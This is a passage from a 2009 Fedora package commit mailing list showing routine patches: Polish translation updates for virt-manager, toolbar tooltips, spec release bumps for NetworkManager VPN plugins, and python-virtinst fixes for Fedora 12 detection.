 #: ../src/vmm-details.glade.h:17
 msgid "<b>Virtual Disk</b>"
@@ -3092,7 +3096,7 @@
 
 #: ../src/vmm-details.glade.h:21
 msgid "<b>insert type</b>"
-msgstr "<b>wstaw typ</b>"
+msgstr "<b>prosz? poda? typ</b>"
 
 #: ../src/vmm-details.glade.h:23
 msgid "Always"
@@ -3120,7 +3124,7 @@
 
 #: ../src/vmm-details.glade.h:30
 msgid "Change allocation:"
-msgstr "Zmie? przydzia?:"
+msgstr "Zmiana przydzia?u:"
 
 #: ../src/vmm-details.glade.h:31
 msgid "Char"
@@ -3180,7 +3184,7 @@
 
 #: ../src/vmm-details.glade.h:48
 msgid "Host CPUs:"
-msgstr "Procesory hosta:"
+msgstr "Procesory gospodarza:"
 
 #: ../src/vmm-details.glade.h:49
 msgid "How many virtual CPUs should be allocated for this machine?"
@@ -3281,11 +3285,11 @@
 
 #: ../src/vmm-details.glade.h:84
 msgid "Save this password in your keyring"
-msgstr "Zapisz to has?o w pliku kluczy"
+msgstr "Zapisanie has?a w bazie kluczy"
 
 #: ../src/vmm-details.glade.h:85
 msgid "Scale Display"
-msgstr "Skaluj ekran"
+msgstr "Skalowanie ekranu"
 
 #: ../src/vmm-details.glade.h:86
 msgid "Screenshot"
@@ -3293,7 +3297,7 @@
 
 #: ../src/vmm-details.glade.h:87
 msgid "Send Key"
-msgstr "Wy?lij klawisz"
+msgstr "Wys?anie klawisza"
 
 #: ../src/vmm-details.glade.h:88
 msgid "Shut Down"
@@ -3325,7 +3329,7 @@
 
 #: ../src/vmm-details.glade.h:97
 msgid "Start virtual machine on host boot up"
-msgstr "Uruchom maszyn? wirtualn? podczas uruchamiania hosta"
+msgstr "Uruchamianie maszyny wirtualnej podczas uruchamiania gospodarza"
 
 #: ../src/vmm-details.glade.h:98
 msgid "Static"
@@ -3357,7 +3361,7 @@
 
 #: ../src/vmm-details.glade.h:106
 msgid "Total memory on host machine:"
-msgstr "Ca?kowita pami?? w maszynie hosta:"
+msgstr "Ca?kowita pami?? w komputerze gospodarza:"
 
 #: ../src/vmm-details.glade.h:108
 msgid "UUID:"
@@ -3381,7 +3385,7 @@
 
 #: ../src/vmm-details.glade.h:113
 msgid "View Manager"
-msgstr "Wy?wietl mened?era"
+msgstr "Wy?wietlenie mened?era"
 
 #: ../src/vmm-details.glade.h:114
 msgid "Virtual CPU Affinity Select"
@@ -3479,15 +3483,15 @@
 
 #: ../src/vmm-host.glade.h:20
 msgid "Forwarding:"
-msgstr "Przekazywanie:"
+msgstr "Przekierowywanie:"
 
 #: ../src/vmm-host.glade.h:21 ../src/vmm-manager.glade.h:4
 msgid "Host Details"
-msgstr "Szczeg??y hosta"
+msgstr "Szczeg??y gospodarza"
 
 #: ../src/vmm-host.glade.h:22 ../src/vmm-open-connection.glade.h:8
 msgid "Hostname:"
-msgstr "Nazwa hosta:"
+msgstr "Nazwa gospodarza:"
 
 #: ../src/vmm-host.glade.h:24
 msgid "Location:"
@@ -3551,7 +3555,7 @@
 
 #: ../src/vmm-manager.glade.h:6
 msgid "Restore a saved machine from a filesystem image"
-msgstr "Przywr?? zapisan? maszyn? z obrazu systemu plik?w"
+msgstr "Przywr?cenie zapisanej maszyny z obrazu systemu plik?w"
 
 #: ../src/vmm-manager.glade.h:8
 msgid "_Edit"
@@ -3591,7 +3595,7 @@
 
 #: ../src/vmm-open-connection.glade.h:7
 msgid "Hostname Field"
-msgstr "Pole nazwy hosta"
+msgstr "Pole nazwy gospodarza"
 
 #: ../src/vmm-open-connection.glade.h:9
 msgid "Hypervisor Select"
@@ -3623,7 +3627,7 @@
 
 #: ../src/vmm-preferences.glade.h:2
 msgid "<b>Enable Stats Polling</b>"
-msgstr "<b>W??cz sonda? statystyk</b>"
+msgstr "<b>W??czenie sonda?u statystyk</b>"
 
 #: ../src/vmm-preferences.glade.h:3
 msgid "<b>General</b>"
@@ -3639,11 +3643,11 @@
 
 #: ../src/vmm-preferences.glade.h:6
 msgid "Automatically open consoles:"
-msgstr "Automatycznie otw?rz konsole:"
+msgstr "Automatyczne otwarcie konsol:"
 
 #: ../src/vmm-preferences.glade.h:8
 msgid "Enable system tray icon"
-msgstr "W??cz ikon? obszaru powiadamiania"
+msgstr "Ikona obszaru powiadamiania"
 
 #: ../src/vmm-preferences.glade.h:9
 msgid "General"
@@ -3651,7 +3655,7 @@
 
 #: ../src/vmm-preferences.glade.h:10
 msgid "Grab keyboard input:"
-msgstr "Przechwy? wej?cie klawiatury:"
+msgstr "Przechwycenie wej?cia klawiatury:"
 
 #: ../src/vmm-preferences.glade.h:11
 msgid "Graphical Console Scaling:"
@@ -3667,7 +3671,7 @@
 
 #: ../src/vmm-preferences.glade.h:14
 msgid "Maintain history of"
-msgstr "Zarz?dzaj histori?"
+msgstr "Zarz?dzanie histori?"
 
 #: ../src/vmm-preferences.glade.h:16
 msgid ""
@@ -3696,7 +3700,7 @@
 "On mouse over"
 msgstr ""
 "Nigdy\n"
-"Kiedy jest na pe?nym ekranie\n"
+"Na pe?nym ekranie\n"
 "Przy najechaniu mysz?"
 
 #: ../src/vmm-preferences.glade.h:25
@@ -3709,7 +3713,7 @@
 
 #: ../src/vmm-preferences.glade.h:28
 msgid "Update status every"
-msgstr "Zaktualizuj stan co"
+msgstr "Aktualizacja stanu co"
 
 #: ../src/vmm-preferences.glade.h:29
 msgid "VM Details"
@@ -3725,7 +3729,7 @@
 
 #: ../src/vmm-storage-browse.glade.h:1
 msgid "Choose Storage Volume"
-msgstr "Wybierz wolumin pami?ci masowej"
+msgstr "Wyb?r woluminu pami?ci masowej"
 
 #: ../src/vmm-storage-browse.glade.h:2
 msgid "Choose _Volume"
@@ -3738,33 +3742,3 @@
 #: ../src/vmm-storage-browse.glade.h:4
 msgid "_New Volume"
 msgstr "_Nowy wolumin"
-
-#~ msgid "gtk-cancel"
-#~ msgstr "gtk-cancel"
-
-#~ msgid "gtk-help"
-#~ msgstr "gtk-help"
-
-#~ msgid "gtk-ok"
-#~ msgstr "gtk-ok"
-
-#~ msgid "Create _Volume"
-#~ msgstr "Utw?rz _wolumin"
-
-#~ msgid "gtk-delete"
-#~ msgstr "gtk-delete"
-
-#~ msgid "_Contents"
-#~ msgstr "_Zawarto??"
-
-#~ msgid "Add Connection..."
-#~ msgstr "Dodaj po??czenie..."
-
-#~ msgid "Delete Virtual Machine"
-#~ msgstr "Usu? maszyn? wirtualn?"
-
-#~ msgid "Restore saved machine..."
-#~ msgstr "Przywr?? zapisan? maszyn?..."
-
-#~ msgid "Virtual Machine Details"
-#~ msgstr "Szczeg??y maszyny wirtualnej"

virt-manager-0.8.0-toolbar-tooltips.patch:
 vmm-details.glade |    6 ++++++
 vmm-manager.glade |    5 +++++
 2 files changed, 11 insertions(+)

--- NEW FILE virt-manager-0.8.0-toolbar-tooltips.patch ---
# HG changeset patch
# User Cole Robinson <crobinso at redhat.com>
# Date 1254762221 14400
# Node ID 7df46187c156c7697b9b93e46e3b391a19c4fbb2
# Parent  97c40c4fb29f7b1b1aadcebd42781f0d471d4697
Add tooltips for toolbar buttons in manager and details.

diff -r 97c40c4fb29f -r 7df46187c156 src/vmm-details.glade
--- a/src/vmm-details.glade	Mon Oct 05 11:50:10 2009 -0400
+++ b/src/vmm-details.glade	Mon Oct 05 13:03:41 2009 -0400
@@ -430,6 +430,7 @@
                 <child>
                   <widget class="GtkRadioToolButton" id="control-vm-console">
                     <property name="visible">True</property>
+                    <property name="tooltip" translatable="yes">Show the graphical console</property>
                     <property name="label" translatable="yes">Console</property>
                     <property name="icon_name">icon_console</property>
                     <property name="active">True</property>
@@ -443,6 +444,7 @@
                 <child>
                   <widget class="GtkRadioToolButton" id="control-vm-details">
                     <property name="visible">True</property>
+                    <property name="tooltip" translatable="yes">Show virtual hardware details</property>
                     <property name="label" translatable="yes">Details</property>
                     <property name="stock_id">gtk-info</property>
                     <property name="group">control-vm-console</property>
@@ -465,6 +467,7 @@
                 <child>
                   <widget class="GtkToolButton" id="control-run">
                     <property name="visible">True</property>
+                    <property name="tooltip" translatable="yes">Power on the virtual machine</property>
                     <property name="is_important">True</property>
                     <property name="label" translatable="yes">Run</property>
                     <property name="use_underline">True</property>
@@ -479,6 +482,7 @@
                 <child>
                   <widget class="GtkToggleToolButton" id="control-pause">
                     <property name="visible">True</property>
+                    <property name="tooltip" translatable="yes">Pause the virtual machine</property>
                     <property name="is_important">True</property>
                     <property name="label" translatable="yes">Pause</property>
                     <property name="use_underline">True</property>
@@ -493,6 +497,7 @@
                 <child>
                   <widget class="GtkMenuToolButton" id="control-shutdown">
                     <property name="visible">True</property>
+                    <property name="tooltip" translatable="yes">Shutdown the virtual machine</property>
                     <property name="is_important">True</property>
                     <property name="label" translatable="yes">Shut Down</property>
                     <property name="use_underline">True</property>
@@ -514,6 +519,7 @@
                 <child>
                   <widget class="GtkToggleToolButton" id="control-fullscreen">
                     <property name="visible">True</property>
+                    <property name="tooltip" translatable="yes">Switch to fullscreen view</property>
                     <property name="stock_id">gtk-fullscreen</property>
                     <signal name="toggled" handler="on_control_fullscreen_toggled"/>
                   </widget>
diff -r 97c40c4fb29f -r 7df46187c156 src/vmm-manager.glade
--- a/src/vmm-manager.glade	Mon Oct 05 11:50:10 2009 -0400
+++ b/src/vmm-manager.glade	Mon Oct 05 13:03:41 2009 -0400
@@ -229,6 +229,7 @@
                     <child>
                       <widget class="GtkToolButton" id="vm-new">
                         <property name="visible">True</property>
+                        <property name="tooltip" translatable="yes">Create a new virtual machine</property>
                         <property name="label" translatable="yes">_New</property>
                         <property name="use_underline">True</property>
                         <property name="icon_name">vm_new_large</property>
@@ -251,6 +252,7 @@
                     <child>
                       <widget class="GtkToolButton" id="vm-open">
                         <property name="visible">True</property>
+                        <property name="tooltip" translatable="yes">Show the virtual machine's details</property>
                         <property name="label" translatable="yes">_Open</property>
                         <property name="use_underline">True</property>
                         <property name="icon_name">icon_console</property>
@@ -264,6 +266,7 @@
                     <child>
                       <widget class="GtkToolButton" id="vm-run">
                         <property name="visible">True</property>
+                        <property name="tooltip" translatable="yes">Power on the virtual machine</property>
                         <property name="label" translatable="yes">_Run</property>
                         <property name="use_underline">True</property>
                         <property name="stock_id">gtk-media-play</property>
@@ -277,6 +280,7 @@
                     <child>
                       <widget class="GtkToggleToolButton" id="vm-pause">
                         <property name="visible">True</property>
+                        <property name="tooltip" translatable="yes">Pause the virtual machine</property>
                         <property name="label" translatable="yes">_Pause</property>
                         <property name="use_underline">True</property>
                         <property name="stock_id">gtk-media-pause</property>
@@ -290,6 +294,7 @@
                     <child>
                       <widget class="GtkMenuToolButton" id="vm-shutdown">
                         <property name="visible">True</property>
+                        <property name="tooltip" translatable="yes">Shutdown the virtual machine</property>
                         <property name="label" translatable="yes">_Shutdown</property>
                         <property name="use_underline">True</property>
                         <signal name="clicked" handler="on_vm_shutdown_clicked"/>


Index: virt-manager.spec
===================================================================
RCS file: /cvs/pkgs/rpms/virt-manager/F-12/virt-manager.spec,v
retrieving revision 1.61
retrieving revision 1.62
diff -u -p -r1.61 -r1.62
--- virt-manager.spec	29 Sep 2009 19:24:28 -0000	1.61
+++ virt-manager.spec	5 Oct 2009 17:40:55 -0000	1.62
@@ -8,7 +8,7 @@
 
 Name: virt-manager
 Version: 0.8.0
-Release: 6%{_extra_release}
+Release: 7%{_extra_release}
 Summary: Virtual Machine Manager
 
 Group: Applications/Emulators
@@ -48,6 +48,14 @@ Patch12: %{name}-%{version}-hide-help-do
 Patch13: %{name}-%{version}-update-vm-state.patch
 # Update translations (bz 493795)
 Patch14: %{name}-%{version}-update-translations.patch
+# More translations (bz 493795)
+Patch15: %{name}-%{version}-more-translations.patch
+# Don't allow creating a volume without a name (bz 526111)
+Patch16: %{name}-%{version}-createvol-name.patch
+# Don't allow volume allocation > capacity (bz 526077)
+Patch17: %{name}-%{version}-createvol-alloc.patch
+# Add tooltips for toolbar buttons (bz 524083)
+Patch18: %{name}-%{version}-toolbar-tooltips.patch
 
 # These two are just the oldest version tested
 Requires: pygtk2 >= 1.99.12-6
@@ -129,6 +137,10 @@ cp %{SOURCE3} pixmaps
 %patch12 -p1
 %patch13 -p1
 %patch14 -p1
+%patch15 -p1
+%patch16 -p1
+%patch17 -p1
+%patch18 -p1
 
 %build
 %configure
@@ -202,6 +214,12 @@ fi
 %{_datadir}/dbus-1/services/%{name}.service
 
 %changelog
+* Mon Oct 05 2009 Cole Robinson <crobinso at redhat.com> - 0.8.0-7.fc12
+- More translations (bz 493795)
+- Don't allow creating a volume without a name (bz 526111)
+- Don't allow volume allocation > capacity (bz 526077)
+- Add tooltips for toolbar buttons (bz 524083)
+
 * Tue Sep 29 2009 Cole Robinson <crobinso at redhat.com> - 0.8.0-6.fc12
 - Fix VCPU hotplug
 - Remove access to outdated docs (bz 522823, bz 524805)



From dcbw at fedoraproject.org  Mon Oct  5 17:43:19 2009
From: dcbw at fedoraproject.org (Daniel Williams)
Date: Mon,  5 Oct 2009 17:43:19 +0000 (UTC)
Subject: rpms/NetworkManager-openvpn/F-12 NetworkManager-openvpn.spec, 1.39, 
	1.40
Message-ID: <20091005174319.74FA311C00DB@cvs1.fedora.phx.redhat.com>

Author: dcbw

Update of /cvs/pkgs/rpms/NetworkManager-openvpn/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28141

Modified Files:
	NetworkManager-openvpn.spec 
Log Message:
* Mon Oct  5 2009 Dan Williams <dcbw at redhat.com> - 1:0.7.996-4.git20090923
- Rebuild for updated NetworkManager




Index: NetworkManager-openvpn.spec
===================================================================
RCS file: /cvs/pkgs/rpms/NetworkManager-openvpn/F-12/NetworkManager-openvpn.spec,v
retrieving revision 1.39
retrieving revision 1.40
diff -u -p -r1.39 -r1.40
--- NetworkManager-openvpn.spec	23 Sep 2009 09:33:47 -0000	1.39
+++ NetworkManager-openvpn.spec	5 Oct 2009 17:43:19 -0000	1.40
@@ -10,7 +10,7 @@ Summary: NetworkManager VPN plugin for O
 Name: NetworkManager-openvpn
 Epoch:   1
 Version: 0.7.996
-Release: 3%{snapshot}%{?dist}
+Release: 4%{snapshot}%{?dist}
 License: GPLv2+
 URL: http://www.gnome.org/projects/NetworkManager/
 Group: System Environment/Base
@@ -103,6 +103,9 @@ fi
 %dir %{_datadir}/gnome-vpn-properties/openvpn
 
 %changelog
+* Mon Oct  5 2009 Dan Williams <dcbw at redhat.com> - 1:0.7.996-4.git20090923
+- Rebuild for updated NetworkManager
+
 * Wed Sep 23 2009 Dan Williams <dcbw at redhat.com> - 1:0.7.996-3.git20090923
 - Add GUI option for reneg-sec config option (rh #490971)
 



From dcbw at fedoraproject.org  Mon Oct  5 17:43:50 2009
From: dcbw at fedoraproject.org (Daniel Williams)
Date: Mon,  5 Oct 2009 17:43:50 +0000 (UTC)
Subject: rpms/NetworkManager-openvpn/devel NetworkManager-openvpn.spec, 1.39,
	1.40
Message-ID: <20091005174350.6901511C00DB@cvs1.fedora.phx.redhat.com>

Author: dcbw

Update of /cvs/pkgs/rpms/NetworkManager-openvpn/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28590

Modified Files:
	NetworkManager-openvpn.spec 
Log Message:
* Mon Oct  5 2009 Dan Williams <dcbw at redhat.com> - 1:0.7.996-4.git20090923
- Rebuild for updated NetworkManager




Index: NetworkManager-openvpn.spec
===================================================================
RCS file: /cvs/pkgs/rpms/NetworkManager-openvpn/devel/NetworkManager-openvpn.spec,v
retrieving revision 1.39
retrieving revision 1.40
diff -u -p -r1.39 -r1.40
--- NetworkManager-openvpn.spec	23 Sep 2009 09:33:47 -0000	1.39
+++ NetworkManager-openvpn.spec	5 Oct 2009 17:43:50 -0000	1.40
@@ -10,7 +10,7 @@ Summary: NetworkManager VPN plugin for O
 Name: NetworkManager-openvpn
 Epoch:   1
 Version: 0.7.996
-Release: 3%{snapshot}%{?dist}
+Release: 4%{snapshot}%{?dist}
 License: GPLv2+
 URL: http://www.gnome.org/projects/NetworkManager/
 Group: System Environment/Base
@@ -103,6 +103,9 @@ fi
 %dir %{_datadir}/gnome-vpn-properties/openvpn
 
 %changelog
+* Mon Oct  5 2009 Dan Williams <dcbw at redhat.com> - 1:0.7.996-4.git20090923
+- Rebuild for updated NetworkManager
+
 * Wed Sep 23 2009 Dan Williams <dcbw at redhat.com> - 1:0.7.996-3.git20090923
 - Add GUI option for reneg-sec config option (rh #490971)
 



From crobinso at fedoraproject.org  Mon Oct  5 17:49:39 2009
From: crobinso at fedoraproject.org (Cole Robinson)
Date: Mon,  5 Oct 2009 17:49:39 +0000 (UTC)
Subject: rpms/python-virtinst/F-11 virtinst-0.400.3-f12-distro.patch, NONE, 
	1.1 virtinst-0.400.3-preview-detection.patch, NONE,
	1.1 python-virtinst.spec, 1.70, 1.71
Message-ID: <20091005174939.D655511C00DB@cvs1.fedora.phx.redhat.com>

Author: crobinso

Update of /cvs/pkgs/rpms/python-virtinst/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32072

Modified Files:
	python-virtinst.spec 
Added Files:
	virtinst-0.400.3-f12-distro.patch 
	virtinst-0.400.3-preview-detection.patch 
Log Message:
Fix detection of fedora preview trees (bz 499718)
Add F12 to os dictionary


virtinst-0.400.3-f12-distro.patch:
 osdict.py |    7 +++++++
 1 file changed, 7 insertions(+)

--- NEW FILE virtinst-0.400.3-f12-distro.patch ---
# HG changeset patch
# User Cole Robinson <crobinso at redhat.com>
# Date 1253115773 14400
# Node ID d8f88998215ae844534b2bf9a7024edc1bf46826
# Parent  6a398359952bfd8cc62e36afc26bb470862ce42d
osdict: Add 'Fedora 12' entry

diff -r 6a398359952b -r d8f88998215a virtinst/osdict.py
--- a/virtinst/osdict.py	Wed Sep 16 10:53:50 2009 -0400
+++ b/virtinst/osdict.py	Wed Sep 16 11:42:53 2009 -0400
@@ -179,6 +179,13 @@
                         "input" : { "type" : [ (["all"], "tablet") ],
                                     "bus"  : [ (["all"], "usb"), ] },
                      }},
+        "fedora12": { "label": "Fedora 12", "distro": "fedora",
+                      "devices" : {
+                        "disk" : { "bus"   : [ (["kvm"], "virtio") ] },
+                        "net"  : { "model" : [ (["kvm"], "virtio") ] },
+                        "input" : { "type" : [ (["all"], "tablet") ],
+                                    "bus"  : [ (["all"], "usb"), ] },
+                     }},
         "sles10": { "label": "Suse Linux Enterprise Server",
                     "distro": "suse" },
         "sles11": { "label": "Suse Linux Enterprise Server 11",

virtinst-0.400.3-preview-detection.patch:
 tests/urltest.py     |    5 +++++
 virtinst/OSDistro.py |    2 +-
 2 files changed, 6 insertions(+), 1 deletion(-)

--- NEW FILE virtinst-0.400.3-preview-detection.patch ---
# HG changeset patch
# User Cole Robinson <crobinso at redhat.com>
# Date 1241725806 14400
# Node ID 9768e52d4d624f83853f7f23f85402c8a078eb6f
# Parent  94be2c80832ae1019cc1b3099636a5cb41dd6094
Fix os_variant autodetection for F11-{alpha/beta/preview}

Prevents URL installs for the stated releases, unless an --os-variant is
manually specified.

diff -r 94be2c80832a -r 9768e52d4d62 tests/urltest.py
--- a/tests/urltest.py	Thu May 07 13:47:49 2009 -0400
+++ b/tests/urltest.py	Thu May 07 15:50:06 2009 -0400
@@ -108,6 +108,11 @@
         'x86_64': FEDORA_BASEURL % ("10", "x86_64"),
         'distro': ("linux", "fedora10")
     },
+    "fedora11test" : {
+        'i386'  : FEDORA_BASEURL % ("test/11-Preview", "i386"),
+        'x86_64': FEDORA_BASEURL % ("test/11-Preview", "x86_64"),
+        'distro': ("linux", "fedora11")
+    },
     "fedora-rawhide" : {
         'i386'  : FEDORA_RAWHIDE_BASEURL % ("i386"),
         'x86_64': FEDORA_RAWHIDE_BASEURL % ("x86_64"),
diff -r 94be2c80832a -r 9768e52d4d62 virtinst/OSDistro.py
--- a/virtinst/OSDistro.py	Thu May 07 13:47:49 2009 -0400
+++ b/virtinst/OSDistro.py	Thu May 07 15:50:06 2009 -0400
@@ -429,7 +429,7 @@
                 if ver == "development":
                     self.os_variant = self._latestFedoraVariant()
                 elif ver:
-                    self.os_variant = "fedora" + str(ver)
+                    self.os_variant = "fedora" + (str(ver).split("-"))[0]
 
             return ret
         else:


Index: python-virtinst.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-virtinst/F-11/python-virtinst.spec,v
retrieving revision 1.70
retrieving revision 1.71
diff -u -p -r1.70 -r1.71
--- python-virtinst.spec	13 Sep 2009 23:48:25 -0000	1.70
+++ python-virtinst.spec	5 Oct 2009 17:49:39 -0000	1.71
@@ -17,7 +17,7 @@
 Summary: Python modules and utilities for installing virtual machines
 Name: python-%{appname}
 Version: 0.400.3
-Release: 9%{_extra_release}
+Release: 10%{_extra_release}
 Source0: http://virt-manager.org/download/sources/%{appname}/%{appname}-%{version}.tar.gz
 Patch1: %{appname}-%{version}-fix-virtimage-scratch.patch
 Patch2: %{appname}-%{version}-hostdev-libvirt-calls.patch
@@ -39,6 +39,10 @@ Patch10: %{appname}-%{version}-default-b
 Patch11: %{appname}-%{version}-sles-virtio.patch
 # Don't erroneously set limit for amount of virtio devices (bz 499654)
 Patch12: %{appname}-%{version}-virtio-dev-limit.patch
+# Fix detection of fedora preview trees (bz 499718)
+Patch13: %{appname}-%{version}-preview-detection.patch
+# Add F12 to os dictionary
+Patch14: %{appname}-%{version}-f12-distro.patch
 
 License: GPLv2+
 Group: Development/Libraries
@@ -78,6 +82,8 @@ and install new VMs) and virt-clone (clo
 %patch10 -p1
 %patch11 -p1
 %patch12 -p1
+%patch13 -p1
+%patch14 -p1
 
 %build
 python setup.py build
@@ -113,6 +119,10 @@ rm -rf $RPM_BUILD_ROOT
 %{_bindir}/virt-convert
 
 %changelog
+* Mon Oct 05 2009 Cole Robinson <crobinso at redhat.com> - 0.400.3-10.fc11
+- Fix detection of fedora preview trees (bz 499718)
+- Add F12 to os dictionary
+
 * Sun Sep 13 2009 Cole Robinson <crobinso at redhat.com> - 0.400.3-9.fc11
 - Fix parse error when looking for default bridge (bz 506319)
 - Use virtio for SLES guests (bz 505317)



From dcbw at fedoraproject.org  Mon Oct  5 17:59:32 2009
From: dcbw at fedoraproject.org (Daniel Williams)
Date: Mon,  5 Oct 2009 17:59:32 +0000 (UTC)
Subject: rpms/NetworkManager-pptp/F-12 NetworkManager-pptp.spec,1.17,1.18
Message-ID: <20091005175932.162E411C00DB@cvs1.fedora.phx.redhat.com>

Author: dcbw

Update of /cvs/pkgs/rpms/NetworkManager-pptp/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4407

Modified Files:
	NetworkManager-pptp.spec 
Log Message:
* Mon Oct  5 2009 Dan Williams <dcbw at redhat.com> - 1:0.7.996-4.git20090921
- Rebuild for updated NetworkManager




Index: NetworkManager-pptp.spec
===================================================================
RCS file: /cvs/pkgs/rpms/NetworkManager-pptp/F-12/NetworkManager-pptp.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- NetworkManager-pptp.spec	21 Sep 2009 23:05:59 -0000	1.17
+++ NetworkManager-pptp.spec	5 Oct 2009 17:59:31 -0000	1.18
@@ -10,7 +10,7 @@ Summary:   NetworkManager VPN plugin for
 Name:      NetworkManager-pptp
 Epoch:     1
 Version:   0.7.996
-Release:   2%{svn_snapshot}%{?dist}
+Release:   4%{svn_snapshot}%{?dist}
 License:   GPLv2+
 Group:     System Environment/Base
 URL:       http://www.gnome.org/projects/NetworkManager/
@@ -104,6 +104,9 @@ fi
 %dir %{_datadir}/gnome-vpn-properties/pptp
 
 %changelog
+* Mon Oct  5 2009 Dan Williams <dcbw at redhat.com> - 1:0.7.996-4.git20090921
+- Rebuild for updated NetworkManager
+
 * Mon Sep 21 2009 Dan Williams <dcbw at redhat.com> - 1:0.7.996-2
 - Rebuild for updated NetworkManager
 



From dcbw at fedoraproject.org  Mon Oct  5 17:59:50 2009
From: dcbw at fedoraproject.org (Daniel Williams)
Date: Mon,  5 Oct 2009 17:59:50 +0000 (UTC)
Subject: rpms/NetworkManager-pptp/devel NetworkManager-pptp.spec,1.17,1.18
Message-ID: <20091005175950.6F1E111C00DB@cvs1.fedora.phx.redhat.com>

Author: dcbw

Update of /cvs/pkgs/rpms/NetworkManager-pptp/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4655

Modified Files:
	NetworkManager-pptp.spec 
Log Message:
* Mon Oct  5 2009 Dan Williams <dcbw at redhat.com> - 1:0.7.996-4.git20090921
- Rebuild for updated NetworkManager




Index: NetworkManager-pptp.spec
===================================================================
RCS file: /cvs/pkgs/rpms/NetworkManager-pptp/devel/NetworkManager-pptp.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- NetworkManager-pptp.spec	21 Sep 2009 23:05:59 -0000	1.17
+++ NetworkManager-pptp.spec	5 Oct 2009 17:59:50 -0000	1.18
@@ -10,7 +10,7 @@ Summary:   NetworkManager VPN plugin for
 Name:      NetworkManager-pptp
 Epoch:     1
 Version:   0.7.996
-Release:   2%{svn_snapshot}%{?dist}
+Release:   4%{svn_snapshot}%{?dist}
 License:   GPLv2+
 Group:     System Environment/Base
 URL:       http://www.gnome.org/projects/NetworkManager/
@@ -104,6 +104,9 @@ fi
 %dir %{_datadir}/gnome-vpn-properties/pptp
 
 %changelog
+* Mon Oct  5 2009 Dan Williams <dcbw at redhat.com> - 1:0.7.996-4.git20090921
+- Rebuild for updated NetworkManager
+
 * Mon Sep 21 2009 Dan Williams <dcbw at redhat.com> - 1:0.7.996-2
 - Rebuild for updated NetworkManager
 



From dcbw at fedoraproject.org  Mon Oct  5 18:01:51 2009
From: dcbw at fedoraproject.org (Daniel Williams)
Date: Mon,  5 Oct 2009 18:01:51 +0000 (UTC)
Subject: rpms/NetworkManager-openconnect/F-12
	NetworkManager-openconnect.spec, 1.17, 1.18
Message-ID: <20091005180152.093D711C00DB@cvs1.fedora.phx.redhat.com>

Author: dcbw

Update of /cvs/pkgs/rpms/NetworkManager-openconnect/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5712

Modified Files:
	NetworkManager-openconnect.spec 
Log Message:
* Mon Oct  5 2009 Dan Williams <dcbw at redhat.com> - 1:0.7.996-4.git20090921
- Rebuild for updated NetworkManager




Index: NetworkManager-openconnect.spec
===================================================================
RCS file: /cvs/pkgs/rpms/NetworkManager-openconnect/F-12/NetworkManager-openconnect.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- NetworkManager-openconnect.spec	21 Sep 2009 23:08:41 -0000	1.17
+++ NetworkManager-openconnect.spec	5 Oct 2009 18:01:51 -0000	1.18
@@ -8,7 +8,7 @@
 Summary:   NetworkManager VPN integration for openconnect
 Name:      NetworkManager-openconnect
 Version:   0.7.996
-Release:   2%{svn_snapshot}%{?dist}
+Release:   4%{svn_snapshot}%{?dist}
 License:   GPLv2+
 Group:     System Environment/Base
 URL:       http://www.gnome.org/projects/NetworkManager/
@@ -96,6 +96,9 @@ fi
 %{_datadir}/gnome-vpn-properties/openconnect/nm-openconnect-dialog.glade
 
 %changelog
+* Mon Oct  5 2009 Dan Williams <dcbw at redhat.com> - 1:0.7.996-4.git20090921
+- Rebuild for updated NetworkManager
+
 * Mon Sep 21 2009 Dan Williams <dcbw at redhat.com> - 1:0.7.996-2
 - Rebuild for updated NetworkManager
 



From dcbw at fedoraproject.org  Mon Oct  5 18:02:09 2009
From: dcbw at fedoraproject.org (Daniel Williams)
Date: Mon,  5 Oct 2009 18:02:09 +0000 (UTC)
Subject: rpms/NetworkManager-openconnect/devel
	NetworkManager-openconnect.spec, 1.17, 1.18
Message-ID: <20091005180209.CF45211C00DB@cvs1.fedora.phx.redhat.com>

Author: dcbw

Update of /cvs/pkgs/rpms/NetworkManager-openconnect/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5950

Modified Files:
	NetworkManager-openconnect.spec 
Log Message:
* Mon Oct  5 2009 Dan Williams <dcbw at redhat.com> - 1:0.7.996-4.git20090921
- Rebuild for updated NetworkManager




Index: NetworkManager-openconnect.spec
===================================================================
RCS file: /cvs/pkgs/rpms/NetworkManager-openconnect/devel/NetworkManager-openconnect.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- NetworkManager-openconnect.spec	21 Sep 2009 23:08:41 -0000	1.17
+++ NetworkManager-openconnect.spec	5 Oct 2009 18:02:09 -0000	1.18
@@ -8,7 +8,7 @@
 Summary:   NetworkManager VPN integration for openconnect
 Name:      NetworkManager-openconnect
 Version:   0.7.996
-Release:   2%{svn_snapshot}%{?dist}
+Release:   4%{svn_snapshot}%{?dist}
 License:   GPLv2+
 Group:     System Environment/Base
 URL:       http://www.gnome.org/projects/NetworkManager/
@@ -96,6 +96,9 @@ fi
 %{_datadir}/gnome-vpn-properties/openconnect/nm-openconnect-dialog.glade
 
 %changelog
+* Mon Oct  5 2009 Dan Williams <dcbw at redhat.com> - 1:0.7.996-4.git20090921
+- Rebuild for updated NetworkManager
+
 * Mon Sep 21 2009 Dan Williams <dcbw at redhat.com> - 1:0.7.996-2
 - Rebuild for updated NetworkManager
 



From crobinso at fedoraproject.org  Mon Oct  5 18:06:09 2009
From: crobinso at fedoraproject.org (Cole Robinson)
Date: Mon,  5 Oct 2009 18:06:09 +0000 (UTC)
Subject: rpms/python-virtinst/F-10 virtinst-0.400.3-f12-distro.patch, NONE, 
	1.1 virtinst-0.400.3-preview-detection.patch, NONE,
	1.1 python-virtinst.spec, 1.55, 1.56
Message-ID: <20091005180609.36C8211C00DB@cvs1.fedora.phx.redhat.com>

Author: crobinso

Update of /cvs/pkgs/rpms/python-virtinst/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8083

